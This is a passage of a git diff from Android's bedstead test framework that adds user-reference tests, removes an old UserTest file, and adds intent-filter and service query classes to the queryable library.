+ .isEqualTo(sUserManager.getSerialNumberForUser(Process.myUserHandle()));
+ }
+
+ @Test
+ public void serialNo_userDoesNotExist_throwsException() {
+ UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+ assertThrows(NeneException.class, user::serialNo);
+ }
+
+ @Test
+ @EnsureHasPermission(CREATE_USERS)
+ @RequireSdkVersion(min = S, reason = "getUserName is only available on S+")
+ public void name_returnsName() {
+ UserReference user = TestApis.users().instrumented();
+
+ assertThat(user.name()).isEqualTo(sUserManager.getUserName());
+ }
+
+ @Test
+ public void name_userDoesNotExist_throwsException() {
+ UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+ assertThrows(NeneException.class, user::name);
+ }
+
+ @Test
+ @EnsureHasPermission(CREATE_USERS)
+ @RequireSdkVersion(min = S, reason = "getUserType is only available on S+")
+ public void type_returnsType() {
+ UserReference user = TestApis.users().instrumented();
+
+ assertThat(user.type().name()).isEqualTo(sUserManager.getUserType());
+ }
+
+ @Test
+ public void type_userDoesNotExist_throwsException() {
+ UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+ assertThrows(NeneException.class, user::type);
+ }
+
+ @Test
+ @RequireRunOnPrimaryUser
+ public void isPrimary_isPrimary_returnsTrue() {
+ UserReference user = TestApis.users().instrumented();
+
+ assertThat(user.isPrimary()).isTrue();
+ }
+
+ @Test
+ @RequireRunOnPrimaryUser
+ @EnsureHasSecondaryUser
+ public void isPrimary_isNotPrimary_returnsFalse() {
+ UserReference user = sDeviceState.secondaryUser();
+
+ assertThat(user.isPrimary()).isFalse();
+ }
+
+ @Test
+ public void isPrimary_userDoesNotExist_throwsException() {
+ UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+ assertThrows(NeneException.class, user::isPrimary);
+ }
+
+ @Test
+ public void isRunning_userNotStarted_returnsFalse() {
+ UserReference user = TestApis.users().createUser().create();
+ user.stop();
+
+ try {
+ assertThat(user.isRunning()).isFalse();
+ } finally {
+ user.remove();
+ }
+ }
+
+ @Test
+ public void isRunning_userIsRunning_returnsTrue() {
+ UserReference user = TestApis.users().createUser().create();
+ user.start();
+
+ try {
+ assertThat(user.isRunning()).isTrue();
+ } finally {
+ user.remove();
+ }
+ }
+
+ @Test
+ public void isRunning_userDoesNotExist_returnsFalse() {
+ UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+ assertThat(user.isRunning()).isFalse();
+ }
+
+ @Test
+ public void isUnlocked_userIsUnlocked_returnsTrue() {
+ UserReference user = TestApis.users().createUser().createAndStart();
+
+ try {
+ assertThat(user.isUnlocked()).isTrue();
+ } finally {
+ user.remove();
+ }
+ }
+
+ // TODO(b/203542772): add tests for locked state
+
+ @Test
+ public void isUnlocked_userDoesNotExist_returnsFalse() {
+ UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+ assertThat(user.isUnlocked()).isFalse();
+ }
+
+ @Test
+ @EnsureHasWorkProfile
+ public void parent_returnsParent() {
+ assertThat(sDeviceState.workProfile().parent()).isNotNull();
+ }
+
+ @Test
+ @RequireRunOnPrimaryUser
+ public void parent_noParent_returnsNull() {
+ UserReference user = TestApis.users().instrumented();
+
+ assertThat(user.parent()).isNull();
+ }
+
+ @Test
+ @RequireRunOnPrimaryUser
+ public void parent_userDoesNotExist_throwsException() {
+ UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+ assertThrows(NeneException.class, user::parent);
+ }
+
+ @Test
+ public void autoclose_removesUser() {
+ int numUsers = TestApis.users().all().size();
+
+ try (UserReference user = TestApis.users().createUser().create()) {
+ // We intentionally don't do anything here, just rely on the auto-close behaviour
+ }
+
+ assertThat(TestApis.users().all()).hasSize(numUsers);
}
}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
deleted file mode 100644
index 4289f47..0000000
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
+++ /dev/null
@@ -1,202 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.nene.users;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import com.android.bedstead.nene.TestApis;
-
-import org.junit.Ignore;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-@RunWith(JUnit4.class)
-public class UserTest {
-
- private static final int NON_EXISTING_USER_ID = 10000;
- private static final int USER_ID = NON_EXISTING_USER_ID;
- private static final int SERIAL_NO = 1000;
- private static final UserType USER_TYPE = new UserType(new UserType.MutableUserType());
- private static final String USER_NAME = "userName";
-
- @Test
- public void id_returnsId() {
- User.MutableUser mutableUser = createValidMutableUser();
- mutableUser.mId = USER_ID;
- User user = new User(mutableUser);
-
- assertThat(user.id()).isEqualTo(USER_ID);
- }
-
- @Test
- public void construct_idNotSet_throwsNullPointerException() {
- User.MutableUser mutableUser = createValidMutableUser();
- mutableUser.mId = null;
-
- assertThrows(NullPointerException.class, () -> new User(mutableUser));
- }
-
- @Test
- public void serialNo_returnsSerialNo() {
- User.MutableUser mutableUser = createValidMutableUser();
- mutableUser.mSerialNo = SERIAL_NO;
- User user = new User(mutableUser);
-
- assertThat(user.serialNo()).isEqualTo(SERIAL_NO);
- }
-
- @Test
- public void serialNo_notSet_returnsNull() {
- User.MutableUser mutableUser = createValidMutableUser();
- User user = new User(mutableUser);
-
- assertThat(user.serialNo()).isNull();
- }
-
- @Test
- public void name_returnsName() {
- User.MutableUser mutableUser = createValidMutableUser();
- mutableUser.mName = USER_NAME;
- User user = new User(mutableUser);
-
- assertThat(user.name()).isEqualTo(USER_NAME);
- }
-
- @Test
- public void name_notSet_returnsNull() {
- User.MutableUser mutableUser = createValidMutableUser();
- User user = new User(mutableUser);
-
- assertThat(user.name()).isNull();
- }
-
- @Test
- public void type_returnsName() {
- User.MutableUser mutableUser = createValidMutableUser();
- mutableUser.mType = USER_TYPE;
- User user = new User(mutableUser);
-
- assertThat(user.type()).isEqualTo(USER_TYPE);
- }
-
- @Test
- public void type_notSet_returnsNull() {
- User.MutableUser mutableUser = createValidMutableUser();
- User user = new User(mutableUser);
-
- assertThat(user.type()).isNull();
- }
-
- @Test
- public void hasProfileOwner_returnsHasProfileOwner() {
- User.MutableUser mutableUser = createValidMutableUser();
- mutableUser.mHasProfileOwner = true;
- User user = new User(mutableUser);
-
- assertThat(user.hasProfileOwner()).isTrue();
- }
-
- @Test
- public void hasProfileOwner_notSet_returnsNull() {
- User.MutableUser mutableUser = createValidMutableUser();
- User user = new User(mutableUser);
-
- assertThat(user.hasProfileOwner()).isNull();
- }
-
- @Test
- public void isPrimary_returnsIsPrimary() {
- User.MutableUser mutableUser = createValidMutableUser();
- mutableUser.mIsPrimary = true;
- User user = new User(mutableUser);
-
- assertThat(user.isPrimary()).isTrue();
- }
-
- @Test
- public void isPrimary_notSet_returnsNull() {
- User.MutableUser mutableUser = createValidMutableUser();
- User user = new User(mutableUser);
-
- assertThat(user.isPrimary()).isNull();
- }
-
- @Test
- public void state_userNotStarted_returnsState() {
- UserReference user = TestApis.users().createUser().create();
- user.stop();
-
- try {
- assertThat(user.resolve().state()).isEqualTo(User.UserState.NOT_RUNNING);
- } finally {
- user.remove();
- }
- }
-
- @Test
- @Ignore("TODO: Ensure we can enter the user locked state")
- public void state_userLocked_returnsState() {
- UserReference user = TestApis.users().createUser().createAndStart();
-
- try {
- assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_LOCKED);
- } finally {
- user.remove();
- }
- }
-
- @Test
- public void state_userUnlocked_returnsState() {
- UserReference user = TestApis.users().createUser().createAndStart();
-
- try {
- assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
- } finally {
- user.remove();
- }
- }
-
- @Test
- public void parent_returnsParent() {
- UserReference parentUser = new User(createValidMutableUser());
- User.MutableUser mutableUser = createValidMutableUser();
- mutableUser.mParent = parentUser;
- User user = new User(mutableUser);
-
- assertThat(user.parent()).isEqualTo(parentUser);
- }
-
- @Test
- public void autoclose_removesUser() {
- int numUsers = TestApis.users().all().size();
-
- try (UserReference user = TestApis.users().createUser().create()) {
- // We intentionally don't do anything here, just rely on the auto-close behaviour
- }
-
- assertThat(TestApis.users().all()).hasSize(numUsers);
- }
-
- private User.MutableUser createValidMutableUser() {
- User.MutableUser mutableUser = new User.MutableUser();
- mutableUser.mId = 1;
- return mutableUser;
- }
-}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
index e1e8ef1..f7ecee1 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
@@ -20,7 +20,6 @@
import static com.android.bedstead.harrier.DeviceState.UserType.SYSTEM_USER;
import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
-import static com.android.bedstead.nene.users.User.UserState.RUNNING_UNLOCKED;
import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
@@ -206,7 +205,7 @@
.create();
try {
- assertThat(userReference.resolve().name()).isEqualTo(USER_NAME);
+ assertThat(userReference.name()).isEqualTo(USER_NAME);
} finally {
userReference.remove();
}
@@ -219,7 +218,7 @@
.create();
try {
- assertThat(userReference.resolve().type()).isEqualTo(mSecondaryUserType);
+ assertThat(userReference.type()).isEqualTo(mSecondaryUserType);
} finally {
userReference.remove();
}
@@ -246,7 +245,7 @@
UserReference user = TestApis.users().createUser().type(mSecondaryUserType).create();
try {
- assertThat(user.resolve()).isNotNull();
+ assertThat(user.exists()).isTrue();
} finally {
user.remove();
}
@@ -261,7 +260,7 @@
.type(mManagedProfileType).parent(systemUser).create();
try {
- assertThat(user.resolve()).isNotNull();
+ assertThat(user.exists()).isTrue();
} finally {
user.remove();
}
@@ -275,7 +274,7 @@
.type(mManagedProfileType).parent(systemUser).create();
try {
- assertThat(user.resolve().parent()).isEqualTo(TestApis.users().system());
+ assertThat(user.parent()).isEqualTo(TestApis.users().system());
} finally {
user.remove();
}
@@ -318,11 +317,11 @@
@Test
public void createAndStart_isStarted() {
- User user = null;
+ UserReference user = null;
try {
- user = TestApis.users().createUser().name(USER_NAME).createAndStart().resolve();
- assertThat(user.state()).isEqualTo(RUNNING_UNLOCKED);
+ user = TestApis.users().createUser().name(USER_NAME).createAndStart();
+ assertThat(user.isUnlocked()).isTrue();
} finally {
if (user != null) {
user.remove();
@@ -468,7 +467,7 @@
public void nonExisting_userDoesNotExist() {
UserReference userReference = TestApis.users().nonExisting();
- assertThat(userReference.resolve()).isNull();
+ assertThat(userReference.exists()).isFalse();
}
@Test
@@ -493,14 +492,13 @@
TestApis.users().setStopBgUsersOnSwitch(true);
TestApis.users().system().switchTo();
- Poll.forValue("Secondary user state",
- () -> sDeviceState.secondaryUser().resolve().state())
- .toNotBeEqualTo(RUNNING_UNLOCKED)
+ Poll.forValue("Secondary user running",
+ () -> sDeviceState.secondaryUser().isRunning())
+ .toBeEqualTo(false)
.errorOnFail()
.await();
- assertThat(sDeviceState.secondaryUser().resolve().state())
- .isNotEqualTo(RUNNING_UNLOCKED);
+ assertThat(sDeviceState.secondaryUser().isRunning()).isFalse();
} finally {
sDeviceState.secondaryUser().start();
TestApis.users().setStopBgUsersOnSwitch(originalStopBgUsersOnSwitch);
@@ -516,7 +514,7 @@
TestApis.users().setStopBgUsersOnSwitch(false);
TestApis.users().system().switchTo();
- assertThat(sDeviceState.secondaryUser().resolve().state()).isEqualTo(RUNNING_UNLOCKED);
+ assertThat(sDeviceState.secondaryUser().isRunning()).isTrue();
} finally {
TestApis.users().setStopBgUsersOnSwitch(originalStopBgUsersOnSwitch);
sDeviceState.secondaryUser().start();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java
index 0640104..3addf49 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java
@@ -17,6 +17,10 @@
package com.android.queryable.info;
import android.app.Activity;
+import android.content.IntentFilter;
+
+import java.util.HashSet;
+import java.util.Set;
/**
@@ -27,6 +31,7 @@
public final class ActivityInfo extends ClassInfo {
private final boolean mExported;
+ private final Set<IntentFilter> mIntentFilters;
public static Builder builder() {
return new Builder();
@@ -38,27 +43,39 @@
.exported(activityInfo.exported);
}
- private ActivityInfo(String activityClass, boolean exported) {
+ private ActivityInfo(String activityClass, boolean exported,
+ Set<IntentFilter> intentFilters) {
super(activityClass);
mExported = exported;
+ if (intentFilters == null) {
+ mIntentFilters = new HashSet<>();
+ } else {
+ mIntentFilters = intentFilters;
+ }
}
public boolean exported() {
return mExported;
}
+ /** Return the intent filters of this activity.*/
+ public Set<IntentFilter> intentFilters() {
+ return mIntentFilters;
+ }
@Override
public String toString() {
return "Activity{"
+ "class=" + super.toString()
+ ", exported=" + mExported
+ + ", intentFilters=" + mIntentFilters
+ "}";
}
public static final class Builder {
String mActivityClass;
boolean mExported;
+ Set<IntentFilter> mIntentFilters;
public Builder activityClass(String activityClassName) {
mActivityClass = activityClassName;
@@ -78,10 +95,17 @@
return this;
}
+ /** Set the intent filters with the set of intent filters provided */
+ public Builder intentFilters(Set<IntentFilter> intentFilters) {
+ mIntentFilters = intentFilters;
+ return this;
+ }
+
public ActivityInfo build() {
return new ActivityInfo(
mActivityClass,
- mExported
+ mExported,
+ mIntentFilters
);
}
}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ServiceInfo.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ServiceInfo.java
new file mode 100644
index 0000000..0779dc4
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ServiceInfo.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.info;
+
+import android.app.Service;
+import android.content.IntentFilter;
+
+import java.util.HashSet;
+import java.util.Set;
+
+
+/**
+ * Wrapper for information about an {@link Service}.
+ *
+ * <p>This is used instead of {@link Service} so that it can be easily serialized.
+ */
+public final class ServiceInfo extends ClassInfo {
+
+ private final Set<IntentFilter> mIntentFilters;
+
+ /** Return a new builder for {@link ServiceInfo}. */
+ public static Builder builder() {
+ return new Builder();
+ }
+
+ /** Return a builder for {@link ServiceInfo} with the service class name set. */
+ public static Builder builder(android.content.pm.ServiceInfo serviceInfo) {
+ return builder()
+ .serviceClass(serviceInfo.name);
+ }
+
+ private ServiceInfo(String serviceClass, Set<IntentFilter> intentFilters) {
+ super(serviceClass);
+ if (intentFilters == null) {
+ mIntentFilters = new HashSet<>();
+ } else {
+ mIntentFilters = intentFilters;
+ }
+ }
+
+ /** Return the intent filters of this service.*/
+ public Set<IntentFilter> intentFilters() {
+ return mIntentFilters;
+ }
+
+ @Override
+ public String toString() {
+ return "Service{"
+ + "class=" + super.toString()
+ + "intentFilters=" + mIntentFilters
+ + "}";
+ }
+
+ /** Builder for {@link ServiceInfo}. */
+ public static final class Builder {
+ String mServiceClass;
+ Set<IntentFilter> mIntentFilters;
+
+ /** Set the serviceClassName with the class name provided. */
+ public Builder serviceClass(String serviceClassName) {
+ mServiceClass = serviceClassName;
+ return this;
+ }
+
+ /** Set the serviceClassName with the class name of the service provided. */
+ public Builder serviceClass(Service service) {
+ return serviceClass(service.getClass());
+ }
+
+ /** Set the serviceClassName with the class name from the service class provided. */
+ public Builder serviceClass(Class<? extends Service> serviceClass) {
+ return serviceClass(serviceClass.getName());
+ }
+
+ /** Set the intent filters with the set of intent filters provided */
+ public ServiceInfo.Builder intentFilters(Set<IntentFilter> intentFilters) {
+ mIntentFilters = intentFilters;
+ return this;
+ }
+
+ /** Build the {@link ServiceInfo}*/
+ public ServiceInfo build() {
+ return new ServiceInfo(
+ mServiceClass,
+ mIntentFilters
+ );
+ }
+ }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java
index 56f4c62..fde7f00 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java
@@ -17,6 +17,7 @@
package com.android.queryable.queries;
import android.app.Activity;
+import android.content.IntentFilter;
import com.android.queryable.Queryable;
import com.android.queryable.info.ActivityInfo;
@@ -30,4 +31,7 @@
ClassQuery<E> activityClass();
BooleanQuery<E> exported();
+
+ /** Query the intent-filters on an activity. */
+ SetQuery<E, IntentFilter, IntentFilterQuery<?>> intentFilters();
}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java
index 48baadaf..ece537c 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java
@@ -16,6 +16,8 @@
package com.android.queryable.queries;
+import android.content.IntentFilter;
+
import com.android.queryable.Queryable;
import com.android.queryable.info.ActivityInfo;
@@ -25,17 +27,21 @@
private final E mQuery;
private final ClassQueryHelper<E> mActivityClassQueryHelper;
private final BooleanQueryHelper<E> mExportedQueryHelper;
+ private final SetQueryHelper<E, IntentFilter, IntentFilterQuery<?>>
+ mIntentFiltersQueryHelper;
ActivityQueryHelper() {
mQuery = (E) this;
mActivityClassQueryHelper = new ClassQueryHelper<>(mQuery);
mExportedQueryHelper = new BooleanQueryHelper<>(mQuery);
+ mIntentFiltersQueryHelper = new SetQueryHelper<>(mQuery);
}
public ActivityQueryHelper(E query) {
mQuery = query;
mActivityClassQueryHelper = new ClassQueryHelper<>(query);
mExportedQueryHelper = new BooleanQueryHelper<>(query);
+ mIntentFiltersQueryHelper = new SetQueryHelper<>(query);
}
@Override
@@ -49,16 +55,23 @@
}
@Override
+ public SetQuery<E, IntentFilter, IntentFilterQuery<?>> intentFilters() {
+ return mIntentFiltersQueryHelper;
+ }
+
+ @Override
public boolean matches(ActivityInfo value) {
return mActivityClassQueryHelper.matches(value)
- && mExportedQueryHelper.matches(value.exported());
+ && mExportedQueryHelper.matches(value.exported())
+ && mIntentFiltersQueryHelper.matches(value.intentFilters());
}
@Override
public String describeQuery(String fieldName) {
return Queryable.joinQueryStrings(
mActivityClassQueryHelper.describeQuery(fieldName + ".activity"),
- mExportedQueryHelper.describeQuery(fieldName + ".exported")
+ mExportedQueryHelper.describeQuery(fieldName + ".exported"),
+ mIntentFiltersQueryHelper.describeQuery(fieldName + ".intentFilters")
);
}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQuery.java
new file mode 100644
index 0000000..d2d5c1a
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQuery.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+
+/**
+ * Query for an {@link IntentFilter}.
+ *
+ * @param <E> Type of query.
+ */
+public interface IntentFilterQuery<E extends Queryable> extends Query<IntentFilter> {
+
+ /** Create a {@link IntentFilterQueryHelper}*/
+ static IntentFilterQuery<IntentFilterQuery<?>> intentFilter() {
+ return new IntentFilterQueryHelper<>();
+ }
+
+ /** Query for the actions on a intent filter.*/
+ SetQuery<E, String, StringQuery<?>> actions();
+
+ /** Query for the categories of an intent filter.*/
+ SetQuery<E, String, StringQuery<?>> categories();
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQueryHelper.java
new file mode 100644
index 0000000..0a81e40
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQueryHelper.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+
+/**
+ * Implementation of {@link IntentFilterQuery}.
+ *
+ * @param <E> Type of query.
+ */
+public class IntentFilterQueryHelper<E extends Queryable> implements IntentFilterQuery<E> {
+
+ private final E mQuery;
+ private final SetQueryHelper<E, String, StringQuery<?>> mActionsQueryHelper;
+ private final SetQueryHelper<E, String, StringQuery<?>> mCategoriesQueryHelper;
+
+ IntentFilterQueryHelper() {
+ mQuery = (E) this;
+ mActionsQueryHelper = new SetQueryHelper<>(mQuery);
+ mCategoriesQueryHelper = new SetQueryHelper<>(mQuery);
+ }
+
+ public IntentFilterQueryHelper(E query) {
+ mQuery = query;
+ mActionsQueryHelper = new SetQueryHelper<>(query);
+ mCategoriesQueryHelper = new SetQueryHelper<>(query);
+ }
+
+ @Override
+ public SetQuery<E, String, StringQuery<?>> actions() {
+ return mActionsQueryHelper;
+ }
+
+ @Override
+ public SetQuery<E, String, StringQuery<?>> categories() {
+ return mCategoriesQueryHelper;
+ }
+
+ @Override
+ public boolean matches(IntentFilter value) {
+ Set<String> actions = new HashSet<>();
+ Set<String> categories = new HashSet<>();
+
+ if (value.countActions() > 0) {
+ Iterator<String> actionsIterator = value.actionsIterator();
+
+ while (actionsIterator.hasNext()) {
+ actions.add(actionsIterator.next());
+ }
+ }
+ if (value.countCategories() > 0) {
+ Iterator<String> categoriesIterator = value.categoriesIterator();
+
+ while (categoriesIterator.hasNext()) {
+ categories.add(categoriesIterator.next());
+ }
+ }
+
+
+ return mActionsQueryHelper.matches(actions)
+ && mCategoriesQueryHelper.matches(categories);
+ }
+
+ @Override
+ public String describeQuery(String fieldName) {
+ return Queryable.joinQueryStrings(
+ mActionsQueryHelper.describeQuery(fieldName + ".actions"),
+ mCategoriesQueryHelper.describeQuery(fieldName + ".categories")
+ );
+ }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQuery.java
new file mode 100644
index 0000000..ca5bd5b
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQuery.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.app.Service;
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+import com.android.queryable.info.ServiceInfo;
+
+/**
+ * Query for an {@link Service}.
+ *
+ * @param <E> Type of query.
+ */
+public interface ServiceQuery<E extends Queryable> extends Query<ServiceInfo> {
+
+ /** Create a {@link ServiceQueryHelper}. */
+ static ServiceQuery<ServiceQuery<?>> service() {
+ return new ServiceQueryHelper<>();
+ }
+
+ /** Used to query the class name of a service. */
+ ClassQuery<E> serviceClass();
+
+ /** Query the intent-filters on an activity. */
+ SetQuery<E, IntentFilter, IntentFilterQuery<?>> intentFilters();
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQueryHelper.java
new file mode 100644
index 0000000..90e437c
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQueryHelper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+import com.android.queryable.info.ServiceInfo;
+
+/**
+ * Implementation of {@link ServiceQuery}.
+ *
+ * @param <E> Type of query.
+ */
+public final class ServiceQueryHelper<E extends Queryable> implements ServiceQuery<E> {
+
+ private final E mQuery;
+ private final ClassQueryHelper<E> mServiceClassQueryHelper;
+ private final SetQueryHelper<E, IntentFilter, IntentFilterQuery<?>>
+ mIntentFiltersQueryHelper;
+
+ ServiceQueryHelper() {
+ mQuery = (E) this;
+ mServiceClassQueryHelper = new ClassQueryHelper<>(mQuery);
+ mIntentFiltersQueryHelper = new SetQueryHelper<>(mQuery);
+ }
+
+ public ServiceQueryHelper(E query) {
+ mQuery = query;
+ mServiceClassQueryHelper = new ClassQueryHelper<>(query);
+ mIntentFiltersQueryHelper = new SetQueryHelper<>(query);
+ }
+
+ @Override
+ public ClassQuery<E> serviceClass() {
+ return mServiceClassQueryHelper;
+ }
+
+ @Override
+ public SetQuery<E, IntentFilter, IntentFilterQuery<?>> intentFilters() {
+ return mIntentFiltersQueryHelper;
+ }
+
+ @Override
+ public boolean matches(ServiceInfo value) {
+ return mServiceClassQueryHelper.matches(value)
+ && mIntentFiltersQueryHelper.matches(value.intentFilters());
+ }
+
+ @Override
+ public String describeQuery(String fieldName) {
+ return Queryable.joinQueryStrings(
+ mServiceClassQueryHelper.describeQuery(fieldName + ".service"),
+ mIntentFiltersQueryHelper.describeQuery(fieldName + ".intentFilters")
+ );
+ }
+
+ /**
+ * Check if a {@link ServiceQueryHelper} matches the service represented by a
+ * {@link ServiceInfo}.
+ */
+ public static boolean matches(ServiceQueryHelper<?> serviceQueryHelper, ServiceInfo value) {
+ return serviceQueryHelper.matches(value);
+ }
+}
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java
index 9dfd5f4..55a6b99 100644
--- a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java
@@ -16,9 +16,12 @@
package com.android.queryable.queries;
+import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
+
import static com.google.common.truth.Truth.assertThat;
import android.app.Activity;
+import android.content.IntentFilter;
import com.android.queryable.Queryable;
import com.android.queryable.info.ActivityInfo;
@@ -27,6 +30,8 @@
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
+import java.util.Set;
+
@RunWith(JUnit4.class)
public class ActivityQueryHelperTest {
@@ -36,6 +41,7 @@
private static final String CLASS_1_CLASS_NAME = CLASS_1.getName();
